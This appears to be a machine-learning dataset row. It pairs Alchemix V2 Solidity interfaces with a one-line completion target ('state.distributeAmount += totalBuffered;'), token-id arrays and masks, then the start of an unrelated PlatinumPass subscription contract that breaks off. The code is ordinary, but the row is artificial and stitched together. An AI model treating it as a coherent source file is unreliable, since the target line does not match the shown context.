/// @param value The new minimum collateralization ratio.
function setMinimumCollateralization(uint256 value) external;
/// @notice Sets the fee that the protocol will take from harvests.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be in range or this call will with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeUpdated} event.
///
/// @param value The value to set the protocol fee to measured in basis points.
function setProtocolFee(uint256 value) external;
/// @notice Sets the address which will receive protocol fees.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
///
/// @param value The address to set the protocol fee receiver to.
function setProtocolFeeReceiver(address value) external;
/// @notice Configures the minting limiter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param maximum The maximum minting limit.
/// @param blocks The number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted.
function configureMintingLimit(uint256 maximum, uint256 blocks) external;
/// @notice Sets the rate at which credit will be completely available to depositors after it is harvested.
///
/// @notice Emits a {CreditUnlockRateUpdated} event.
///
/// @param yieldToken The address of the yield token to set the credit unlock rate for.
/// @param blocks The number of blocks that it will take before the credit will be unlocked.
function configureCreditUnlockRate(address yieldToken, uint256 blocks) external;
/// @notice Sets the token adapter of a yield token.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice The token that `adapter` supports must be `yieldToken` or this call will revert with a {IllegalState} error.
///
/// @notice Emits a {TokenAdapterUpdated} event.
///
/// @param yieldToken The address of the yield token to set the adapter for.
/// @param adapter The address to set the token adapter to.
function setTokenAdapter(address yieldToken, address adapter) external;
/// @notice Sets the maximum expected value of a yield token that the system can hold.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @param yieldToken The address of the yield token to set the maximum expected value for.
/// @param value The maximum expected value of the yield token denoted measured in its underlying token.
function setMaximumExpectedValue(address yieldToken, uint256 value)
external;
/// @notice Sets the maximum loss that a yield bearing token will permit before restricting certain actions.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @dev There are two types of loss of value for yield bearing assets: temporary or permanent. The system will automatically restrict actions which are sensitive to both forms of loss when detected. For example, deposits must be restricted when an excessive loss is encountered to prevent users from having their collateral harvested from them. While the user would receive credit, which then could be exchanged for value equal to the collateral that was harvested from them, it is seen as a negative user experience because the value of their collateral should have been higher than what was originally recorded when they made their deposit.
///
/// @param yieldToken The address of the yield bearing token to set the maximum loss for.
/// @param value The value to set the maximum loss to. This is in units of basis points.
function setMaximumLoss(address yieldToken, uint256 value) external;
/// @notice Snap the expected value `yieldToken` to the current value.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @dev This function should only be used in the event of a loss in the target yield-token. For example, say a third-party protocol experiences a fifty percent loss. The expected value (amount of underlying tokens) of the yield tokens being held by the system would be two times the real value that those yield tokens could be redeemed for. This function gives governance a way to realize those losses so that users can continue using the token as normal.
///
/// @param yieldToken The address of the yield token to snap.
function snap(address yieldToken) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Errors
/// @author Alchemix Finance
///
/// @notice Specifies errors.
interface IAlchemistV2Errors {
/// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that the system did not recognize.
///
/// @param token The address of the token.
error UnsupportedToken(address token);
/// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that has been disabled.
///
/// @param token The address of the token.
error TokenDisabled(address token);
/// @notice An error which is used to indicate that an operation failed because an account became undercollateralized.
error Undercollateralized();
/// @notice An error which is used to indicate that an operation failed because the expected value of a yield token in the system exceeds the maximum value permitted.
///
/// @param yieldToken The address of the yield token.
/// @param expectedValue The expected value measured in units of the underlying token.
/// @param maximumExpectedValue The maximum expected value permitted measured in units of the underlying token.
error ExpectedValueExceeded(address yieldToken, uint256 expectedValue, uint256 maximumExpectedValue);
/// @notice An error which is used to indicate that an operation failed because the loss that a yield token in the system exceeds the maximum value permitted.
///
/// @param yieldToken The address of the yield token.
/// @param loss The amount of loss measured in basis points.
/// @param maximumLoss The maximum amount of loss permitted measured in basis points.
error LossExceeded(address yieldToken, uint256 loss, uint256 maximumLoss);
/// @notice An error which is used to indicate that a minting operation failed because the minting limit has been exceeded.
///
/// @param amount The amount of debt tokens that were requested to be minted.
/// @param available The amount of debt tokens which are available to mint.
error MintingLimitExceeded(uint256 amount, uint256 available);
/// @notice An error which is used to indicate that an repay operation failed because the repay limit for an underlying token has been exceeded.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of underlying tokens that were requested to be repaid.
/// @param available The amount of underlying tokens that are available to be repaid.
error RepayLimitExceeded(address underlyingToken, uint256 amount, uint256 available);
/// @notice An error which is used to indicate that an repay operation failed because the liquidation limit for an underlying token has been exceeded.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of underlying tokens that were requested to be liquidated.
/// @param available The amount of underlying tokens that are available to be liquidated.
error LiquidationLimitExceeded(address underlyingToken, uint256 amount, uint256 available);
/// @notice An error which is used to indicate that the slippage of a wrap or unwrap operation was exceeded.
///
/// @param amount The amount of underlying or yield tokens returned by the operation.
/// @param minimumAmountOut The minimum amount of the underlying or yield token that was expected when performing
/// the operation.
error SlippageExceeded(uint256 amount, uint256 minimumAmountOut);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Immutables
/// @author Alchemix Finance
interface IAlchemistV2Immutables {
/// @notice Returns the version of the alchemist.
///
/// @return The version.
function version() external view returns (string memory);
/// @notice Returns the address of the debt token used by the system.
///
/// @return The address of the debt token.
function debtToken() external view returns (address);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Events
/// @author Alchemix Finance
interface IAlchemistV2Events {
/// @notice Emitted when the pending admin is updated.
///
/// @param pendingAdmin The address of the pending admin.
event PendingAdminUpdated(address pendingAdmin);
/// @notice Emitted when the administrator is updated.
///
/// @param admin The address of the administrator.
event AdminUpdated(address admin);
/// @notice Emitted when an address is set or unset as a sentinel.
///
/// @param sentinel The address of the sentinel.
/// @param flag A flag indicating if `sentinel` was set or unset as a sentinel.
event SentinelSet(address sentinel, bool flag);
/// @notice Emitted when an address is set or unset as a keeper.
///
/// @param sentinel The address of the keeper.
/// @param flag A flag indicating if `keeper` was set or unset as a sentinel.
event KeeperSet(address sentinel, bool flag);
/// @notice Emitted when an underlying token is added.
///
/// @param underlyingToken The address of the underlying token that was added.
event AddUnderlyingToken(address indexed underlyingToken);
/// @notice Emitted when a yield token is added.
///
/// @param yieldToken The address of the yield token that was added.
event AddYieldToken(address indexed yieldToken);
/// @notice Emitted when an underlying token is enabled or disabled.
///
/// @param underlyingToken The address of the underlying token that was enabled or disabled.
/// @param enabled A flag indicating if the underlying token was enabled or disabled.
event UnderlyingTokenEnabled(address indexed underlyingToken, bool enabled);
/// @notice Emitted when an yield token is enabled or disabled.
///
/// @param yieldToken The address of the yield token that was enabled or disabled.
/// @param enabled A flag indicating if the yield token was enabled or disabled.
event YieldTokenEnabled(address indexed yieldToken, bool enabled);
/// @notice Emitted when the repay limit of an underlying token is updated.
///
/// @param underlyingToken The address of the underlying token.
/// @param maximum The updated maximum repay limit.
/// @param blocks The updated number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted.
event RepayLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks);
/// @notice Emitted when the liquidation limit of an underlying token is updated.
///
/// @param underlyingToken The address of the underlying token.
/// @param maximum The updated maximum liquidation limit.
/// @param blocks The updated number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted.
event LiquidationLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks);
/// @notice Emitted when the transmuter is updated.
///
/// @param transmuter The updated address of the transmuter.
event TransmuterUpdated(address transmuter);
/// @notice Emitted when the minimum collateralization is updated.
///
/// @param minimumCollateralization The updated minimum collateralization.
event MinimumCollateralizationUpdated(uint256 minimumCollateralization);
/// @notice Emitted when the protocol fee is updated.
///
/// @param protocolFee The updated protocol fee.
event ProtocolFeeUpdated(uint256 protocolFee);
/// @notice Emitted when the protocol fee receiver is updated.
///
/// @param protocolFeeReceiver The updated address of the protocol fee receiver.
event ProtocolFeeReceiverUpdated(address protocolFeeReceiver);
/// @notice Emitted when the minting limit is updated.
///
/// @param maximum The updated maximum minting limit.
/// @param blocks The updated number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted.
event MintingLimitUpdated(uint256 maximum, uint256 blocks);
/// @notice Emitted when the credit unlock rate is updated.
///
/// @param yieldToken The address of the yield token.
/// @param blocks The number of blocks that distributed credit will unlock over.
event CreditUnlockRateUpdated(address yieldToken, uint256 blocks);
/// @notice Emitted when the adapter of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param tokenAdapter The updated address of the token adapter.
event TokenAdapterUpdated(address yieldToken, address tokenAdapter);
/// @notice Emitted when the maximum expected value of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param maximumExpectedValue The updated maximum expected value.
event MaximumExpectedValueUpdated(address indexed yieldToken, uint256 maximumExpectedValue);
/// @notice Emitted when the maximum loss of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param maximumLoss The updated maximum loss.
event MaximumLossUpdated(address indexed yieldToken, uint256 maximumLoss);
/// @notice Emitted when the expected value of a yield token is snapped to its current value.
///
/// @param yieldToken The address of the yield token.
/// @param expectedValue The updated expected value measured in the yield token's underlying token.
event Snap(address indexed yieldToken, uint256 expectedValue);
/// @notice Emitted when `owner` grants `spender` the ability to mint debt tokens on its behalf.
///
/// @param owner The address of the account owner.
/// @param spender The address which is being permitted to mint tokens on the behalf of `owner`.
/// @param amount The amount of debt tokens that `spender` is allowed to mint.
event ApproveMint(address indexed owner, address indexed spender, uint256 amount);
/// @notice Emitted when `owner` grants `spender` the ability to withdraw `yieldToken` from its account.
///
/// @param owner The address of the account owner.
/// @param spender The address which is being permitted to mint tokens on the behalf of `owner`.
/// @param yieldToken The address of the yield token that `spender` is allowed to withdraw.
/// @param amount The amount of shares of `yieldToken` that `spender` is allowed to withdraw.
event ApproveWithdraw(address indexed owner, address indexed spender, address indexed yieldToken, uint256 amount);
/// @notice Emitted when a user deposits `amount of `yieldToken` to `recipient`.
///
/// @notice This event does not imply that `sender` directly deposited yield tokens. It is possible that the
/// underlying tokens were wrapped.
///
/// @param sender The address of the user which deposited funds.
/// @param yieldToken The address of the yield token that was deposited.
/// @param amount The amount of yield tokens that were deposited.
/// @param recipient The address that received the deposited funds.
event Deposit(address indexed sender, address indexed yieldToken, uint256 amount, address recipient);
/// @notice Emitted when `shares` shares of `yieldToken` are burned to withdraw `yieldToken` from the account owned
/// by `owner` to `recipient`.
///
/// @notice This event does not imply that `recipient` received yield tokens. It is possible that the yield tokens
/// were unwrapped.
///
/// @param owner The address of the account owner.
/// @param yieldToken The address of the yield token that was withdrawn.
/// @param shares The amount of shares that were burned.
/// @param recipient The address that received the withdrawn funds.
event Withdraw(address indexed owner, address indexed yieldToken, uint256 shares, address recipient);
/// @notice Emitted when `amount` debt tokens are minted to `recipient` using the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param amount The amount of tokens that were minted.
/// @param recipient The recipient of the minted tokens.
event Mint(address indexed owner, uint256 amount, address recipient);
/// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to `recipient`.
///
/// @param sender The address which is burning tokens.
/// @param amount The amount of tokens that were burned.
/// @param recipient The address that received credit for the burned tokens.
event Burn(address indexed sender, uint256 amount, address recipient);
/// @notice Emitted when `amount` of `underlyingToken` are repaid to grant credit to `recipient`.
///
/// @param sender The address which is repaying tokens.
/// @param underlyingToken The address of the underlying token that was used to repay debt.
/// @param amount The amount of the underlying token that was used to repay debt.
/// @param recipient The address that received credit for the repaid tokens.
event Repay(address indexed sender, address indexed underlyingToken, uint256 amount, address recipient);
/// @notice Emitted when `sender` liquidates `share` shares of `yieldToken`.
///
/// @param owner The address of the account owner liquidating shares.
/// @param yieldToken The address of the yield token.
/// @param underlyingToken The address of the underlying token.
/// @param shares The amount of the shares of `yieldToken` that were liquidated.
event Liquidate(address indexed owner, address indexed yieldToken, address indexed underlyingToken, uint256 shares);
/// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to users who have deposited `yieldToken`.
///
/// @param sender The address which burned debt tokens.
/// @param yieldToken The address of the yield token.
/// @param amount The amount of debt tokens which were burned.
event Donate(address indexed sender, address indexed yieldToken, uint256 amount);
/// @notice Emitted when `yieldToken` is harvested.
///
/// @param yieldToken The address of the yield token that was harvested.
/// @param minimumAmountOut The maximum amount of loss that is acceptable when unwrapping the underlying tokens into yield tokens, measured in basis points.
/// @param totalHarvested The total amount of underlying tokens harvested.
event Harvest(address indexed yieldToken, uint256 minimumAmountOut, uint256 totalHarvested);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2State
/// @author Alchemix Finance
interface IAlchemistV2State {
/// @notice Defines underlying token parameters.
struct UnderlyingTokenParams {
// The number of decimals the token has. This value is cached once upon registering the token so it is important
// that the decimals of the token are immutable or the system will begin to have computation errors.
uint8 decimals;
// A coefficient used to normalize the token to a value comparable to the debt token. For example, if the
// underlying token is 8 decimals and the debt token is 18 decimals then the conversion factor will be
// 10^10. One unit of the underlying token will be comparably equal to one unit of the debt token.
uint256 conversionFactor;
// A flag to indicate if the token is enabled.
bool enabled;
}
/// @notice Defines yield token parameters.
struct YieldTokenParams {
// The number of decimals the token has. This value is cached once upon registering the token so it is important
// that the decimals of the token are immutable or the system will begin to have computation errors.
uint8 decimals;
// The associated underlying token that can be redeemed for the yield-token.
address underlyingToken;
// The adapter used by the system to wrap, unwrap, and lookup the conversion rate of this token into its
// underlying token.
address adapter;
// The maximum percentage loss that is acceptable before disabling certain actions.
uint256 maximumLoss;
// The maximum value of yield tokens that the system can hold, measured in units of the underlying token.
uint256 maximumExpectedValue;
// The percent of credit that will be unlocked per block. The representation of this value is a 18 decimal
// fixed point integer.
uint256 creditUnlockRate;
// The current balance of yield tokens which are held by users.
uint256 activeBalance;
// The current balance of yield tokens which are earmarked to be harvested by the system at a later time.
uint256 harvestableBalance;
// The total number of shares that have been minted for this token.
uint256 totalShares;
// The expected value of the tokens measured in underlying tokens. This value controls how much of the token
// can be harvested. When users deposit yield tokens, it increases the expected value by how much the tokens
// are exchangeable for in the underlying token. When users withdraw yield tokens, it decreases the expected
// value by how much the tokens are exchangeable for in the underlying token.
uint256 expectedValue;
// The current amount of credit which is will be distributed over time to depositors.
uint256 pendingCredit;
// The amount of the pending credit that has been distributed.
uint256 distributedCredit;
// The block number which the last credit distribution occurred.
uint256 lastDistributionBlock;
// The total accrued weight. This is used to calculate how much credit a user has been granted over time. The
// representation of this value is a 18 decimal fixed point integer.
uint256 accruedWeight;
// A flag to indicate if the token is enabled.
bool enabled;
}
/// @notice Gets the address of the admin.
///
/// @return admin The admin address.
function admin() external view returns (address admin);
/// @notice Gets the address of the pending administrator.
///
/// @return pendingAdmin The pending administrator address.
function pendingAdmin() external view returns (address pendingAdmin);
/// @notice Gets if an address is a sentinel.
///
/// @param sentinel The address to check.
///
/// @return isSentinel If the address is a sentinel.
function sentinels(address sentinel) external view returns (bool isSentinel);
/// @notice Gets if an address is a keeper.
///
/// @param keeper The address to check.
///
/// @return isKeeper If the address is a keeper
function keepers(address keeper) external view returns (bool isKeeper);
/// @notice Gets the address of the transmuter.
///
/// @return transmuter The transmuter address.
function transmuter() external view returns (address transmuter);
/// @notice Gets the minimum collateralization.
///
/// @notice Collateralization is determined by taking the total value of collateral that a user has deposited into their account and dividing it their debt.
///
/// @dev The value returned is a 18 decimal fixed point integer.
///
/// @return minimumCollateralization The minimum collateralization.
function minimumCollateralization() external view returns (uint256 minimumCollateralization);
/// @notice Gets the protocol fee.
///
/// @return protocolFee The protocol fee.
function protocolFee() external view returns (uint256 protocolFee);
/// @notice Gets the protocol fee receiver.
///
/// @return protocolFeeReceiver The protocol fee receiver.
function protocolFeeReceiver() external view returns (address protocolFeeReceiver);
/// @notice Gets the address of the whitelist contract.
///
/// @return whitelist The address of the whitelist contract.
function whitelist() external view returns (address whitelist);
/// @notice Gets the conversion rate of underlying tokens per share.
///
/// @param yieldToken The address of the yield token to get the conversion rate for.
///
/// @return rate The rate of underlying tokens per share.
function getUnderlyingTokensPerShare(address yieldToken) external view returns (uint256 rate);
/// @notice Gets the conversion rate of yield tokens per share.
///
/// @param yieldToken The address of the yield token to get the conversion rate for.
///
/// @return rate The rate of yield tokens per share.
function getYieldTokensPerShare(address yieldToken) external view returns (uint256 rate);
/// @notice Gets the supported underlying tokens.
///
/// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls.
///
/// @return tokens The supported underlying tokens.
function getSupportedUnderlyingTokens() external view returns (address[] memory tokens);
/// @notice Gets the supported yield tokens.
///
/// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls.
///
/// @return tokens The supported yield tokens.
function getSupportedYieldTokens() external view returns (address[] memory tokens);
/// @notice Gets if an underlying token is supported.
///
/// @param underlyingToken The address of the underlying token to check.
///
/// @return isSupported If the underlying token is supported.
function isSupportedUnderlyingToken(address underlyingToken) external view returns (bool isSupported);
/// @notice Gets if a yield token is supported.
///
/// @param yieldToken The address of the yield token to check.
///
/// @return isSupported If the yield token is supported.
function isSupportedYieldToken(address yieldToken) external view returns (bool isSupported);
/// @notice Gets information about the account owned by `owner`.
///
/// @param owner The address that owns the account.
///
/// @return debt The unrealized amount of debt that the account had incurred.
/// @return depositedTokens The yield tokens that the owner has deposited.
function accounts(address owner) external view returns (int256 debt, address[] memory depositedTokens);
/// @notice Gets information about a yield token position for the account owned by `owner`.
///
/// @param owner The address that owns the account.
/// @param yieldToken The address of the yield token to get the position of.
///
/// @return shares The amount of shares of that `owner` owns of the yield token.
/// @return lastAccruedWeight The last recorded accrued weight of the yield token.
function positions(address owner, address yieldToken)
external view
returns (
uint256 shares,
uint256 lastAccruedWeight
);
/// @notice Gets the amount of debt tokens `spender` is allowed to mint on behalf of `owner`.
///
/// @param owner The owner of the account.
/// @param spender The address which is allowed to mint on behalf of `owner`.
///
/// @return allowance The amount of debt tokens that `spender` can mint on behalf of `owner`.
function mintAllowance(address owner, address spender) external view returns (uint256 allowance);
/// @notice Gets the amount of shares of `yieldToken` that `spender` is allowed to withdraw on behalf of `owner`.
///
/// @param owner The owner of the account.
/// @param spender The address which is allowed to withdraw on behalf of `owner`.
/// @param yieldToken The address of the yield token.
///
/// @return allowance The amount of shares that `spender` can withdraw on behalf of `owner`.
function withdrawAllowance(address owner, address spender, address yieldToken) external view returns (uint256 allowance);
/// @notice Gets the parameters of an underlying token.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return params The underlying token parameters.
function getUnderlyingTokenParameters(address underlyingToken)
external view
returns (UnderlyingTokenParams memory params);
/// @notice Get the parameters and state of a yield-token.
///
/// @param yieldToken The address of the yield token.
///
/// @return params The yield token parameters.
function getYieldTokenParameters(address yieldToken)
external view
returns (YieldTokenParams memory params);
/// @notice Gets current limit, maximum, and rate of the minting limiter.
///
/// @return currentLimit The current amount of debt tokens that can be minted.
/// @return rate The maximum possible amount of tokens that can be liquidated at a time.
/// @return maximum The highest possible maximum amount of debt tokens that can be minted at a time.
function getMintLimitInfo()
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
/// @notice Gets current limit, maximum, and rate of a repay limiter for `underlyingToken`.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return currentLimit The current amount of underlying tokens that can be repaid.
/// @return rate The rate at which the the current limit increases back to its maximum in tokens per block.
/// @return maximum The maximum possible amount of tokens that can be repaid at a time.
function getRepayLimitInfo(address underlyingToken)
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
/// @notice Gets current limit, maximum, and rate of the liquidation limiter for `underlyingToken`.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return currentLimit The current amount of underlying tokens that can be liquidated.
/// @return rate The rate at which the function increases back to its maximum limit (tokens / block).
/// @return maximum The highest possible maximum amount of debt tokens that can be liquidated at a time.
function getLiquidationLimitInfo(address underlyingToken)
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
}
pragma solidity >=0.5.0;
import "./IERC20Minimal.sol";
/// @title IERC20Burnable
/// @author Alchemix Finance
interface IERC20Burnable is IERC20Minimal {
/// @notice Burns `amount` tokens from the balance of `msg.sender`.
///
/// @param amount The amount of tokens to burn.
///
/// @return If burning the tokens was successful.
function burn(uint256 amount) external returns (bool);
/// @notice Burns `amount` tokens from `owner`'s balance.
///
/// @param owner The address to burn tokens from.
/// @param amount The amount of tokens to burn.
///
/// @return If burning the tokens was successful.
function burnFrom(address owner, uint256 amount) external returns (bool);
}
pragma solidity >=0.5.0;
/// @title IERC20Metadata
/// @author Alchemix Finance
interface IERC20Metadata {
/// @notice Gets the name of the token.
///
/// @return The name.
function name() external view returns (string memory);
/// @notice Gets the symbol of the token.
///
/// @return The symbol.
function symbol() external view returns (string memory);
/// @notice Gets the number of decimals that the token has.
///
/// @return The number of decimals.
function decimals() external view returns (uint8);
}
pragma solidity >=0.5.0;
/// @title IERC20Minimal
/// @author Alchemix Finance
interface IERC20Minimal {
/// @notice An event which is emitted when tokens are transferred between two parties.
///
/// @param owner The owner of the tokens from which the tokens were transferred.
/// @param recipient The recipient of the tokens to which the tokens were transferred.
/// @param amount The amount of tokens which were transferred.
event Transfer(address indexed owner, address indexed recipient, uint256 amount);
/// @notice An event which is emitted when an approval is made.
///
/// @param owner The address which made the approval.
/// @param spender The address which is allowed to transfer tokens on behalf of `owner`.
/// @param amount The amount of tokens that `spender` is allowed to transfer.
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Gets the current total supply of tokens.
///
/// @return The total supply.
function totalSupply() external view returns (uint256);
/// @notice Gets the balance of tokens that an account holds.
///
/// @param account The account address.
///
/// @return The balance of the account.
function balanceOf(address account) external view returns (uint256);
/// @notice Gets the allowance that an owner has allotted for a spender.
///
/// @param owner The owner address.
/// @param spender The spender address.
///
/// @return The number of tokens that `spender` is allowed to transfer on behalf of `owner`.
function allowance(address owner, address spender) external view returns (uint256);
/// @notice Transfers `amount` tokens from `msg.sender` to `recipient`.
///
/// @notice Emits a {Transfer} event.
///
/// @param recipient The address which will receive the tokens.
/// @param amount The amount of tokens to transfer.
///
/// @return If the transfer was successful.
function transfer(address recipient, uint256 amount) external returns (bool);
/// @notice Approves `spender` to transfer `amount` tokens on behalf of `msg.sender`.
///
/// @notice Emits a {Approval} event.
///
/// @param spender The address which is allowed to transfer tokens on behalf of `msg.sender`.
/// @param amount The amount of tokens that `spender` is allowed to transfer.
///
/// @return If the approval was successful.
function approve(address spender, uint256 amount) external returns (bool);
/// @notice Transfers `amount` tokens from `owner` to `recipient` using an approval that `owner` gave to `msg.sender`.
///
/// @notice Emits a {Approval} event.
/// @notice Emits a {Transfer} event.
///
/// @param owner The address to transfer tokens from.
/// @param recipient The address that will receive the tokens.
/// @param amount The amount of tokens to transfer.
///
/// @return If the transfer was successful.
function transferFrom(address owner, address recipient, uint256 amount) external returns (bool);
}
pragma solidity >=0.5.0;
import "./IERC20Minimal.sol";
/// @title IERC20Mintable
/// @author Alchemix Finance
interface IERC20Mintable is IERC20Minimal {
/// @notice Mints `amount` tokens to `recipient`.
///
/// @param recipient The address which will receive the minted tokens.
/// @param amount The amount of tokens to mint.
///
/// @return If minting the tokens was successful.
function mint(address recipient, uint256 amount) external returns (bool);
} | Distribute the buffered tokens as part of the exchange. | state.distributeAmount += totalBuffered;
| 157,546 | [
1,
1669,
887,
326,
11445,
2430,
487,
1087,
434,
326,
7829,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
919,
18,
2251,
887,
6275,
1011,
2078,
17947,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title PlatinumPass contract
*/
contract PlatinumPass is Pausable, Ownable {
using SafeMath for uint256;
// Minimum Billing cycle to subscribe
uint256 public minBillingCycle;
// Minimum cost to subscribe a Platinum pass
uint256 public minBillingCost;
// Maximum Billing cycle to subscribe
uint256 public maxBillingCycle;
// Maximum cost to subscribe a Platinum pass
uint256 public maxBillingCost;
// Address where withdraw fund
address private wallet = 0xB91F6EE721032Ec1eCE953bf6383Af71a64569e8;
// Mapping subscriber address to billing start date
mapping(address => uint256) private _billStartDate;
// Mapping subscriber address to billing end date
mapping(address => uint256) private _billEndDate;
event Subscribed(address _subscriber, uint256 _startDate, uint256 _endDate);
constructor() {
minBillingCost = 1 ether;
minBillingCycle = 30 days;
maxBillingCost = 7 ether;
maxBillingCycle = 365 days;
}
function checkBillEndDate(address _subscriber) external view returns (uint256) {
return _billEndDate[_subscriber];
}
function checkBillStartDate(address _subscriber) external view returns (uint256) {
return _billStartDate[_subscriber];
}
function setMinBillingCycle(uint256 _cycle) external onlyOwner {
minBillingCycle = _cycle;
}
function setMinBillingCost(uint256 _cost) external onlyOwner {
minBillingCost = _cost;
}
function setMaxBillingCycle(uint256 _cycle) external onlyOwner {
maxBillingCycle = _cycle;
}
function setMaxBillingCost(uint256 _cost) external onlyOwner {
maxBillingCost = _cost;
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function changeWallet(address _wallet) external onlyOwner {
wallet = _wallet;
}
/**
* Reserve a Platinum pass by admin
*/
function reserve(address _to, uint256 month) external onlyOwner {
require(_to != address(0), "Invalid address to reserve.");
_subscribe(_to, minBillingCost.mul(month));
}
/**
* Subscribe or mint a Platinum pass NFT
*/
